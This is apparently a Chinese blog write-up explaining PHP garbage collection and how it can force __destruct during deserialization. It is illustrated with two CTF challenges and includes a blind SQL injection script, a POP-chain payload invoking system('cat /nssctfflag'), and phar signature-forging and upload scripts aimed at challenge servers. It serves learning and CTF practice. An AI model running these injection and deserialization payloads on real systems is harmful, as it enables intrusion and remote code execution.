PHP垃圾回收机制(GC)

9 分钟
1998
CTF

前言

以前刷题的时候也遇到过PHP的GC回收机制，觉得挺烦的，一直没有去尝试，今天做题的时候在[CISCN 2022
初赛]ezpentest又遇到了，对GC回收机制有所了解，做下记录，下文介绍皆针对PHP7以上。

一、GC回收机制是什么？

PHP与其它语言一样，会有垃圾回收机制，就是我们所说的GC机制，能够销毁内存空间，防止内存溢出，PHP的垃圾回收机制利用引用计数的机制来确定是否需要回收，简单来说，就是引用计数为0的变量可以进行回收，而这些变量存在于一个"zval"的变量容器中，容器中包含了变量的类型和值，以及两个字节的信息，一个是标识变量是否是引用集合，用于分开普通变量和引用变量，另一个是"refcount"，用于确定指向此变量的个数，即引用的个数。GC回收机制可以通过修改PHP配置开实现开启和关闭。

二、引用技术的知识

1、普通类型的引用计数

在PHP5中，当一个变量=赋值给另一个变量，不会立即为新变量分配内存空间，而是在原变量的zval中给refcount中加1，当原变量发生改变，才会分配内存空间，而PHP7不一样，PHP7不会再给变量如整型，字符串等进行计数，如果给一个变量&赋值，之前
= 赋值的变量会分配空间。

refcount不对数字，字符串，浮点数等标量进行refcount进行计数，当使用&引用后，is_ref区分引用变量，refcount变为了2。

2、复合类型的计数知识

和标量不一样，考虑复合类型如array，object时，会生成多个eval变量容器。



 'aiwin', 'number' => 42 );
xdebug_debug_zval( 'a' );

class Test{
    public $a = 1;
    public $b = 2;

    function handle(){
        echo 'hehe';
    }
}

$test = new Test();
xdebug_debug_zval('test');

可以看到， 分配了多个zval容器，其中数组a和类Test中的变量指向数字标量依旧不进行refcount的计数。


"aiwin","float"=>4.25);
xdebug_debug_zval( 'a' );

$a[] = &$a;
xdebug_debug_zval('a');

第二个is_ref=1，用于区别引用变量和普通变量，由于数组a被&引用了1次，因此refcount为2，浮点型refcount依旧不计数，数组中的name第一次先计数为1，再被引用了后，计数升为2，最后的&array;表示递归循环引用。

三、GC垃圾回收机制的使用

那么，说到底GC回收机制有什么能利用的点呢，这就需要联系起PHP的魔术方法__destrcut函数,在程序结束后php会自动调用__destruct进行自动销毁，如果程序报错或者抛出异常则不会触发__destruct。先来简单看看实际情况下GC回收机制的工作。



test = $test;
        echo $this->test."构造函数执行"."";
    }
    public function __destruct(){
        echo $this->test."销毁函数执行"."";
    }
}

new aiwin(1);
$a = new aiwin(2);
$b = new aiwin(3);

可以看到直接使用new创建类的时，没有进行指向，直接就触发了__destrcut函数当作垃圾回收了。

那假如使用数组的形式来存储类的创建呢



test = $test;
        echo $this->test."构造函数执行"."";
    }
    public function __destruct(){
        echo $this->test."销毁函数执行"."";
    }
}

$a=array(new aiwin(1),0);
$a[0]=$a[1];
$b=new aiwin(2);
$c=new aiwin(3);

new出来的类a依旧被立即销毁，因为最后把数组的第二项即0赋值给了数组的第一项，也就相等于new
aiwin(1)执行是NULL，也会触发__destruct被当成垃圾回收，这就出现了可利用的点。

四、[CISCN 2022 初赛]ezpentest

题目给出了过滤的东西

题目过滤了空格和其它空白字符以及rlike，regexp等字符，这里需要进行sql注入，这里跟GC无关，直接贴出别人的脚本。


import string

import requests

str = string.ascii_letters + string.digits + "$@!^&}{_%"
# 匹配到括号的内容则会溢出,导致500错误
payload = "0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
payload1 = "0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
url = 'http://1.14.71.254:28993/login.php'
f = ""
while 1:
    for i in str:
        if i in '%_':
            i = "\\" + i

        resp = requests.post(url=url, data={"username": payload.format(f + i),
                                            "password": "0"})
        # resp=requests.post(url=url,data={"username":"0",
        # "password":payload1.format(f+i)})
        if resp.status_code == 500:
            f += i
            print(f)
            break
使用了case
when，使用utf8mb4_bin字符集，这样是为了区别大小写，一旦like匹配正确则会9223372036854775807+1导致溢出，使服务器报500错误，注意当有%_时，要加\进行区分，爆出了用户名和密码登录后是一段PHP的混淆代码，利用工具进行解码后得到两个PHP文件。

1Nd3x_Y0u_N3v3R_Kn0W.php

SomeClass.php文件:



b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset;($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}
class C
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->read();
        return "lock lock read!";
    }
}
class D
{
    public $a;
    public $b;
    public function read()
    {
        $this->b->learn();
    }
}
class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);  //die方法字符串处理
    }
}
class F
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

?>
这里是一个反序列化的Pop链构造，然后进而达到RCE的效果。

通过类E的die方法将类当作字符串调用，进而触发类B的toString方法，让触发类A中的see方法，通过see方法中的($b->a)($b->b)进行RCE。完整的Pop链E::__die()->B::__toString()->A:see()。
see()方法中A->b赋值要不是SomeClass达到原生类如ArrayObject，Error等等。

1Nd3x_Y0u_N3v3R_Kn0W.php文件中的spl_autoload_register是自动加载类的，简单来说就是通过这个方法调用function
Al()进而包含SomeClass.php文件。但是关键在于Some被过滤了，进而会抛出错误，导致__destruct方法无法触发。因此要考虑一种方法，能够包含SomeClass类的同时进而也能触发__destruct函数的方法，那么就要利用到上文所说的GC回收机制，WP如下。



b;
        $checker = new ReflectionClass(get_class($b));
        if(basename($checker->getFileName()) != 'SomeClass.php'){
            if(isset($b->a)&&isset;($b->b)){
                ($b->a)($b->b."");
            }
        }
    }
}
class B
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->see();
        return "1";
    }
}

class E
{
    public $a;
    public $b;
    public function __invoke()
    {
        $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
        //eval($this->a); ??? 吓得我赶紧把后门注释了
        //echo "???";
        die($this->a);
    }
}
class SomeClass{
    public $a;
}
$e=new E();
$b=new B();
$a=new A();
$e->a=$b;
$b->a=$a;
$x=new Error();
$x->a="system";
$x->b="cat /nssctfflag";
$a->b=$x;
$result=new SomeClass();
$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);
echo $result;
在构造好反序列赋值给结果$result后，通过数组的形式，键值0是$result，键值1是0，然后通过replace的方法将i本应该等于1的修改成了i=0，从而把i=0指向了NULL，进而造成了GC的垃圾回收机制，触发了__destruct函数。


$result->a=$e;
$result = serialize(array($result,0));
$result = str_replace("i:1","i:0",$result);
$result = urlencode($result);

五、NSSCTF prize_p1

进入题目：



config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗，我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗，我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗，我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
是一道反序列化的题目，跟以往反序列化题目不同的是最后面多了一个throw new
Error()，同时对传入的内容做了过滤，禁止了flag、php、base64、read等等，但是没有禁止phar，因此可以考虑使用phar协议。思路大概就是通过config为w，写入phar文件到/tmp/a.txt中，然后再让config为r并且利用phar协议解析/tmp/a.txt文件，从而触发掉_destruct获取到flag，但是throw
new
Error()会抛出异常，提前阻止进入__destruct函数，从而无法获取到flag，因此要自己触发回收机制，这里就跟上面一样，都是利用GC，使计数指向空，从而回收。

解题如下：0



startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata([0=>$c,1=>NULL]); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
生成phar文件后，修改指向，让数组中原本为1的改成0，从而使得Array[0]指向NULL，触发GC回收机制。但是这里还能显示getflag，因此需要进行zip压缩绕过flag，鉴于以前的经验，在我的电脑上，使用gzip压缩，并且使用sha256修改签名是可以的，直接SHA-1修改签名并且压缩为zip不行。



from hashlib import sha256

file = open('ph1.phar', 'rb').read()

data = file[:-28]

final = file[-8:]

newfile = data+sha256(data).digest()+final

open('poc.phar', 'wb').write(newfile)





import requests


url = 'http://1.14.71.254:28970/'
requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'

    },
    data={
        0: open('poc.phar.gz', 'rb').read()
    }
)

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
)
res.encoding='utf-8'
print(res.text)

参考链接:[(2条消息) [CISCN 2022 初赛]ezpentest_v2ish1yan的博客-
CSDN博客](https://blog.csdn.net/weixin_52585514/article/details/125985176
"(2条消息) [CISCN 2022 初赛]ezpentest_v2ish1yan的博客-CSDN博客")

总结

GC回收机制还能应用在phar的序列化中，进行签名的修改达到效果，还是要多学习。

~  ~  The   End  ~  ~


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文章标题：PHP垃圾回收机制(GC)
文章链接：https://aiwin.fun/index.php/archives/4091/
最后编辑：2024 年 1 月 4 日 22:03 By Aiwin
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    nn0nkey k1n9 初次见面
    1月6日 四川省成都市 发自Windows 10 回复

    师傅学到了，tql了